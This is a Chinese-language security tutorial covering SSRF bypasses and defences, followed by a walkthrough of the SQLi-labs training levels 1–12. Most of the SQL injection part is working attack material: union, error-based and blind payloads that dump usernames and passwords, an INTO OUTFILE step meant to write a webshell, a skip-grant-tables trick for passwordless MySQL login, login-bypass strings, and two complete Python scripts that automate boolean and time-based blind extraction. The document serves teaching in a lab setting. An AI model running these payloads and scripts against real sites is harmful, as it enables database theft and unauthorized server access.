当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
漏洞防御
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP
SQL注入漏洞
一般概念
SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。
注入分类
SQL注入的分类很多,但不是啥重要的知识,但,却是面试常问的问题。分类的内容,仁者见仁智者见智。
按照注入点类型来分类
(1)数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1
这种形式,其注入点 id
类型为数字
,所以叫数字型注入点。
这一类的 SQL 语句原型大概为 select * from 表名 where id=1
。
组合出来的sql注入语句为:select * from news where id=1 and 1=1
http://www.xxx.com/news.php?id=1===>http://www.xxx.com/news.php?id=1 and 1=1
(2)字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin
这种形式,其注入点 name
类型为字符类型
,所以叫字符型注入点。
这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
注意多了引号。
组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
闭合单引号
chr='admin' union select 1,2,3,4 and '1'='1 ====> chr='admin'(闭合前面单引号) union select 1,2,3,4 and '1'='1'
判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin'
来测试
SQL 语句就会变为:SELECT * FROM table WHERE username = 'admin''
页面异常。
② 输入:admin' and 1 = 1 --
注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 –
SQL 语句变为:SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
页面显示正确。
③ 输入:admin' and 1 = 2 --
SQL 语句变为:SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
页面错误。
满足上面三个步骤则有可能存在字符型 SQL 注入。
http://www.xxx.com/news.php?name=admin ===>http://www.xxx.com/news.php?name='admin' and 1=1 ' '
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”
,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'。
组合出来的sql注入语句为:select * from news where search like '%关键字%' and '%1%'='%1%'
测试可以用%' union select 1,2,3,4 and '%'='
这个语句
http://www.xxx.com/keyword=xxx`====>http://www.xxx.com/keyword=xxx%' union select 1,2,3,4 and '%'='
按照数据提交的方式来分类
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
按照执行效果来分类
**(1)基于布尔的盲注,**即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
**(3)基于报错注入,**即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
**(4)联合查询注入,**可以使用union的情况下的注入。
**(5)堆查询注入,**可以同时执行多条语句的执行时的注入
注入测试
这个和XSS一样,以SQL-lab为例子。这个地方,默认都有一定的SQL基础,如果不太确定,可先看一下SQL注入漏洞补充内容下涉及的内容。
less-1 基于错误的单引号字符串
正常访问
http://192.168.248.134:8080/Less-1/?id=1
添加 '
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
使用 1' order by 3 %23
得到列数为3
使用union 获取admin和password
-1 的作用是查询不存在的值,使得结果为空
-1 ' union select 1,2,3 // 确定可以显示到页面的位置
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
-1 ' union select 1,username,password from users %23
查看源码 直接将web页面传递的值加入sql语句中,没有进行过滤导致的错误
再来看看web页面返回的错误
接下来分析 为何加了’ 导致报错
我们分析一下他的源码,在数据库中执行一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里加不加单引号都可以,id是int型的,可以不加 ,也可以加,而username和password字段都是char类型,就必须加引号。
然后,我们尝试添加一些特殊的字符,干扰正常的数据输入,达到执行其他语句的目的,这就是sql注入,所有的sql注入都是这个道理,如果没有和数据库进行交互,那么也就构不成注入的条件,比如后面的二次注入,虽然第一次没有报错和注入条件,但是在后期会利用时,由于过滤不当导致注入。
我们看一下这一句,当我们输入1’# 的时候,回车还需要一个冒号作为闭合,为什么呢,因为系统在读取到#的同时将不会继续往下读,而是当做注释忽略了,这就达成了绕过的目的。
而这时,如果我们在1’ 之后添加一些其他的内容,获取可以获取想要的答案,可以看到通过union 联合查询,我们可以获取到两个数据,
但是 web页面只会返回第一条数据,如何返回第二条呢,这里就需要让第一条数据未查询到,经过修改,成功让我们需要的数据返回页面,这时 就可以通过联合查询获取想要的数据
这里也可以使用burp去fuzz一下,获取报错类型,判断绕过方式,burp也自带了fuzz,可以在渗透或者ctf中做判断,猜测过滤的内容对如何去绕过有非常大的帮助
查看burp返回的内容,933代表正常的内容返回,而1042返回的是报错内容,基于这个前提,我们就想办法去绕过
基本简单的注入就是这个样子 快开始真正的实践吧
基本判断注入通过加‘ 是否报错,先记住这里的报错,等下的双引号报错和这里可以形成类比,可以判断1周围都是单引号。那么我们就要通过某些方式去闭合他,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里介绍两种方式,一种是注释,另一种是通过引号闭合 如果有时候waf过滤了注释符 可以通过另一种方式绕过
接下来就是获取用户名和密码了
一般sql注入的步骤 : 字段数->数据库->表->列->值
字段数可以通过 order by 去猜解 或者 通过 union select 1,2,3, 4 这样是试。如果报错那么就不是
首先获取字段数,通过order by 3 返回正确的值,而order by 4 返回错误
接来下 通过联合查询 获取数据库和表以及最后的password
这里就不多演示了,可以根据我给的数据去尝试
Less-2 基于错误的get整型注入
前面的题基本都会写出每一个步骤,到后面就专精于如何绕过
顺便普及一波知识
mysql的注释符一般有三种
--
, 单行注释
#
单行注释
/**/
多行注释
注意-- 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用–+的原因了
- 正常访问
http://192.168.248.144:8080/Less-2/?id=1
- 绕过测试
-1' or 1=1 --+ //数字型注入
- 常规操作获取用户名和密码
-1' or 1=1 order by 3 --+ // 字段数为3
学了注释符就需要实地去应用,可以看到这道题我们用注释符忽略了引号带来的影响
-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ // 获取数据库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'security' --+ // 获取表
-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name like 'users' --+ // 获取字段值
-1' union select 1,2,group_concat(0x7e,username,0x7c,password) from users --+ // 获取数据
Less-3 基于错误的get单引号变形字符型注入
这里普及一个知识点,如何不使用密码登录mysql,试想你拿到了一个用户的低权限账户,但是他对my.cnf 具有可写的权限,就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许,那么可以变像的提权。
这里就不介绍他如何提权了。
linux的mysql配置文件在/etc/mysql/my.cnf下
在[mysqld]下添加 skip-grant-tables 如图,
之后重启mysql服务
mysql service mysqld restart
成功免密登录
这里和前面闭合有所不同,来看一下源码
id先被引号包括,之后使用()在包括,所以闭合方式也就需要 ')
- 正常访问
http://192.168.248.144:8080/Less-3/?id=1
- 绕过
id=1') --+
- 获取数据
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1') union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users --+
-猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
根据这个提示猜测可能是字符型注入,可以和less-1 对比,发现多了一个) 可以判断首先是’ i d ′ 之 后 在 i d 外 还 有 一 层 括 号 ( ′ id’ 之后在id外还有一层括号 (’ id′之后在id外还有一层括号(′id’)
所以如果报错可以返回,那么如何绕过就变得很简单了。
获取数据,这里演示一下获取password
Less-4 基于错误的GET双引号字符型注入
- 正常访问
http://192.168.248.144:8080/Less-4/?id=2
- 绕过
id=2") or 1=1 --+
- 获取数据
-1") union select 1,2,database() --+
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() --+
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users' --+
-1") union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users --+
猜测注入类型
2"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
可能是双引号字符型注入
先来看看为何加'
之后没有报错,
我们经过几次演示,应该都知道id是被引号包括的 而如果包括的是单引号比如 '$id'
,那么我们添加单引号会导致引号未闭合,报错,那如果是’$id"'这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了 为何添加其他字符达不到闭合的目的。
这里我们就需要去试 那些字符可以产生闭合,导致报错,可以借助于我上面写的burp爆破
Less-5 双注入GET单引号字符型注入
tips: 双注
as : 别名
顺便说几个常见的:
rand: 遵循四舍五入把原值转化为指定小数位数
floor: 向下舍入为指定小数位数
ceiling: 向上舍入为指定小数位数
rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
group by: GROUP BY必须得配合聚合函数来用,根据字段来分类
- 使用
select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))
或
select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
- 原理
简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
先来看看内部的查询返回的结果
在看看rand()函数,当不指定时 返回一个0-1的随机数
而我们需要的是一个整数,这里就需要floor() 返回的结果只有1和0 这样如果是0的时候就会引发报错,
在更进一步去查看,user表里有多少数据,就返回多少条
而这一题没有回显 但是有报错,我们就需要构造特殊的语句,将数据显示在报错里,来读取数据
可以看到 如果rand是1 没有报错 ,而rand值为0 则会触发报错,第五题会把报错返回,但是正确不会返回,所以我们利用双注可以从另一方面获取数据
接下来我们肯定不能通过多次执行获取报错值,经过研究,发现如果给rand(0)
这样就可以让他返回的值固定进而一直满足条件
这里因为group by 查询时 如果返回的结果不一致就会导致报错。也就是说如果我们可以在检测时和插入时构造不同的返回值就会导致报错。
赶紧进入实战学习学习
- 正常访问
http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
id='1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
可能存在单引号注入
- 绕过
由于返回的结果只有两种(不包含报错)所以这里可以采用盲注来进行,但是作者的意图不是让我们使用盲注,而是双注.
双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
- 获取数据
// 如果随机值为0 则会返回 you are in ....., 三条记录以上绝对报错 rand(0),两条随机报错
-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 获取 数据库 security 这里最好实用union all 这样,否则需要多次访问才能获取回复
剩下的就不一一叙述了
-1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users
-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 这里爆出了他三个字段,注意如果字段不存在也是返回you are in
-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 成功拿到 password username
这里也可以通过盲注去解决,先介绍一下盲注的命令
- 试试盲注
介绍几个语法:
截取字符串:
left: Left ( string, n ) 得到字符串左部指定个数的字符,
substr: substr(string, start, length) 和substring()函数一样,截取字符串,第一个为处理的字符串,开始位置,长度
mid: MID(column_name,start[,length]) // 前两个字段为必须,length 为可选,选择开始字段,开始位置,截取长度。
ascii: 返回字符串str的最左字符的数值,返回ascii值,0-255
length: 对字段长度破解,一般先对长度破解,然后在爆破字段值,这个一般采用二分法进行破解。
strcmp: 可以配合left 来使用,如果相等返回0 小于返回1 大于返回-1
regexp: 通过regexp 和 正则表达式来获取字段 这个时候 会匹配所有的字段,所以limit已经不起作用
1' and left(version(),1)=5 %23 // 判断当最左侧字符等于5时 返回you are in
1' and left(version(),2)=5.%23 // 可以通过这样慢慢推出整个字段值
使用substr 和ascii 来推出表名
1' and ascii(substr(select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) > 80 %23
尝试使用regexp
1' and (select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^pass[a-z]' ;)=1 %23
使用 ord mid
ord 和ascii 一样
mid(column_name,start[,length]) // 从位置start开始,截取column_name字符串的length位,与substr作用相同
这里就类似ascii(substr) == ord(mid())
cast(username as char) 将 username 转成字符串
ifnull(exp1,exp2) exp1 不为null 则IFNULL()的返回值为exp1; 否则其返回值为exp2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
1 ' and ord(mid((select ifnull (cast(username as char), 0x20) from security.users order by id limit 0,1),1,1)) = 127 %23
Less-6 双注入GET双引号字符型注入
这道题和5类似,看一下源码
$id = '"'.$id.'"'; -- 虽然加了这么多 解读一下
外层的单引号是做字符串用的,双引号是包含的, 里层的单引号是追加用的
所以添加到查询语句中
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里的$id="$id"
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
所以 这里还是双引号的注入
做法和5基本类似,只是修改了一些闭合
- 正常访问
http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜测语句
select * from users where id = "xxx" limit 0,1 ;
- 尝试绕过
发现当结果正确时返回 you are in ...... 否则返回错误。
可以尝试报错注入 ,根据作者的意思,这题是一个双注
那么按照双注的步骤走
- payload
//版本
1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取数据库
1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取表
1 " union all select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema= database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
// 获取数据
1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
尝试获取一下password
Less-7 导出文件GET字符型注入
这道题是个新的题型,如果可以写入文件,那么我们最简单的是上传一句话马 菜刀直接连,就可以获取一个低权限的账户,所以如果在注入中存在此类问题,那也是比较危险的漏洞。
看看源码 是如何实现的,同样对于id没有进行过滤,可以通过’)) 绕过
由于文件具有写的权限,所以可以通过into outfile 直接写入文件, 这里需要有几个条件,需要知道绝对路径写,,具有写的权限。
- 正常访问
id=1
You are in.... Use outfile......
- 看来这题是要导出文件
sqlmap 也可以执行相同的工作 这里就不解释了。
使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
这里需要有两个已知项 1 字段值 2 绝对地址
并且 系统必须有可读可写,在服务器上,完整的路径,
导出命令: union select 1,2,3 into outfile "绝对地址" %23
- paylaod
// 一般web都存放在默认的目录下,比如:
1 c:/inetpub/wwwroot/
2 linux的nginx一般是/usr/local/nginx/html
3 /home/wwwroot/default
4 /usr/share/nginx
5 /var/www/html
然后 验证是否具有这几个条件
1 获取文件权限的可读
1')) and (select count(*) from mysql.user)>0 %23
2 注入文件
这里要求猜一下他的绝对路径
id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
之后使用
id=-1')) union select 1,"" into outfile "XXX\test.php" %23
这里由于是使用docker,没有写成功
Less-8 布尔型单引号GET盲注
前面已经介绍过一次盲注,由于只有正确和错误,并不返回错误的信息,所以我们可以通过判断是否正确来猜测数据的值
-访问
id=1
You are in...........
- 测试返回内容
看起来只返回了you are in ....... 和空 。看来这题需要使用盲注了
- 相关函数
之前已经说过一次,在简单提一下
length(str): 返回str字符串的长度
substr(str,pos,len): 将str从pos位置开始截取len长度的字符串进行返回,注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len): 同上
ascii(str): 返回字符串str的最左边字符的ascii
ord(str): 同上
if(a,b,c): a 为条件,正确返回b 否则返回c
常见的ascii: A:65,Z:90 a:97,z:122, 0:48, 9:57
获取数据库长度
刚开始学,花了一天时间把脚本写好了,但是没有太完善就不发了,把简单的发一下
url = "http://192.168.248.144:8080/Less-8/?id="
常规套路: 获取库,表,字段,下载数据
显示获取数目,然后是每个的长度,在是每个的值
获取数据库
1' and length(database()) ="+str(database_length)+" %23"
1' and ascii(substr(database(),1))= 比较用的ascii值(0-128) %23"
获取表
1' and (select count(*) from information_schema.tables where table_schema=database())= 表的个数 %23
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 这里写第几个表,1),1))=表的长度 %23
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+第几个表+",1),"+表的第几个字母",1)) =ascii值(0-128) %23
字段和他类似
数据,选一个写
1' and (select count(*) from users )= 个数 %23
1' and length(substr((select username from users limit 第几个数据,1),1))=数据的长度 %23
1' and ascii(substr((select "+value+" from users limit 第几个数据,1),数据的第几位,1)) =ascii 值 %23
这里上一下写的py脚本
from urllib import request
from urllib import parse
import re
url = "http://192.168.64.135/Less-8/?id="
#1 查数据库
# def length():
database_length = 0
while True:
param = "1' and length(database()) ="+str(database_length)+" #"
response = request.urlopen(url+ parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
# db_name = ""
# for l in range(database_length):
# for a in range(128):
# param = "1' and ascii(substr(database()," + str(l+1) + "))=" + str(a) + "#"
# response = request.urlopen(url + parse.quote(param)).read().decode()
# if (re.search("You are in",response)):
# db_name += chr(a)
# break
# print("[*]:"+db_name)
#尝试二分法扫描
db_name = ""
for l in range(database_length):
a,b = 64,64
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
a -=b
else:
param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
db_name += chr(a)
break
else:
a +=b
print("db_name:"+ db_name)
print('table:')
#2 查表数量
table_num = 0
while True:
param = "1' and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查 表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
return table_length
break
else:
table_length += 1
# 查表
for n in range(table_num):
table_name =""
for l in range(ta_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
table_name += chr(a)
break
print("[*]:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
param = "1' and (select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
print("columns:"+str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print(columns_length)
return columns_length
break
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name =""
for l in range(co_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name += chr(a)
break
print("[*]:" +columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and (select count(*) from users )= "+str(num)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
print("num:"+str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print(user_length)
return user_length
break
else:
user_length += 1
def Name(value1,value2):
for n in range(num):
columns_name =""
for l in range(length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name += chr(a)
break
print("[*]:" +columns_name,end=":")
columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(
l + 1) + ",1)) =" + str(a) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name2 += chr(a)
break
print(columns_name2)
Name("username","password")
成功获取到了数据库的值,
Less-9 基于时间的GET单引号盲注
8和9 一样,只是修改了一下闭合形式,第一次出现盲注,看一下源码,没有什么难度,这里使用时间盲注去猜
- 相关函数
这一关需要用到一个if函数
IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用
expr1 是判断条件 ,成立执行expr2 不成立执行 expr3
还有一个sleep(seconds) :执行延迟seconds秒
- 尝试触发报错
http://192.168.248.144:8080/Less-9/?id=1' and sleep(5) %23
在尝试sleep()的时候发现了延迟 存在 时间盲注
- 脚本
将上一关的改一下 ,所有的放在expr1里执行
这里 就把上一关的代码放进expr1 然后 if(代码,sleep(0.1),1)
之后 在判断条件改成 判断时间就行
这里的脚本使用了time函数库,经过检测,发现这个库比较精确。可以将延时时间设置为0.1 秒,可以精确判断
# less-9 基于时间的单引号注入
from urllib import request
from urllib import parse
from time import time
url = "http://192.168.64.135/Less-9/?id="
#1 查数据库
database_length = 0
while True:
param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if ( time() - t > 0.1 ):
print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
db_name = ""
for l in range(database_length):
for a in range(128):
param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time()-t >0.1):
db_name += chr(a)
break
print("[*]:"+db_name)
'''
#尝试二分法扫描
db_name = ""
for l in range(database_length):
a,b = 64,64
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
a -=b
else:
param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
db_name += chr(a)
break
else:
a +=b
print("db_name:"+ db_name)
'''
#2 查表数量
table_num = 0
while True:
param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查 表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
return table_length
break
else:
table_length += 1
# 查表
for n in range(table_num):
table_name =""
for l in range(ta_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
table_name += chr(a)
break
print("table_name:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
print("columns_name:"+str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
return columns_length
break
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name =""
for l in range(co_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
columns_name += chr(a)
break
print("table_name:" +columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print("num:"+str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print(user_length)
return user_length
break
else:
user_length += 1
def Name(value1,value2):
for n in range(num):
columns_name1 = columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name1 += chr(a)
break
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name2 += chr(a)
break
print(columns_name1+":"+columns_name2)
Name("username","password")
Less-10 基于时间的双引号盲注
和9 一样,闭合有所改变,所以不多叙述
- 尝试查询发现问题
http://192.168.248.144:8080/Less-10/?id=1" and sleep(5) %23
发现当使用双引号的时候 可能触发时间注入
这里和上题一样 把单引号改成双引号就ok
Less-11 基于错误的PSOT单引号字符
直接看源码,没有过滤,所以可以将post的uname和passwd单独拿出来当get处理
这里有个小点,一般我们在渗透中 遇到后台会使用万能密码去尝试,能否直接登录,而万能密码的原理就是注入,通过'等等去闭合然后 or 1=1 去获取一个正确的返回,之后用注释符闭合后面的查询,这样就可以绕过登录,直接进入后台 这里出现的漏洞是因为过滤不严格导致的。
其实这里就是将get的错误在post里重新来了一遍
- 正常登录
admin,admin
Your Login name:admin Your Password:admin
提交的数据都会回显到页面,尝试利用单引号 注释 构造
- 加 ' 尝试报错
admin' -- admin 尝试登录
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' LIMIT 0,1' at line 1
admin ' or '1'='1 --+ admin
uname=-1' union select 1, database() -- &passwd=admin&submit=Submit
获取到数据库
uname=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --
按步骤走就行
uname=-1' union select 1, group_concat(password,username) from users --
同样也能使用之前的双注来完成
uname=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
Less-12 基于错误的双引号POST型字符变形注入
直接看源码,看是如何写的,然后如何过滤
做了这么多,已经知道了如何过滤,通过“)即可
- 正常访问
admin/admin
返回:Your Login name:admin/Your Password:admin
- 加" 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1
- 尝试绕过获取
admin ") -- // 注意 -- 后面有个空格,绕过
之后就是获取数据了
-1") union select 1,database() -- // 获取数据库为security
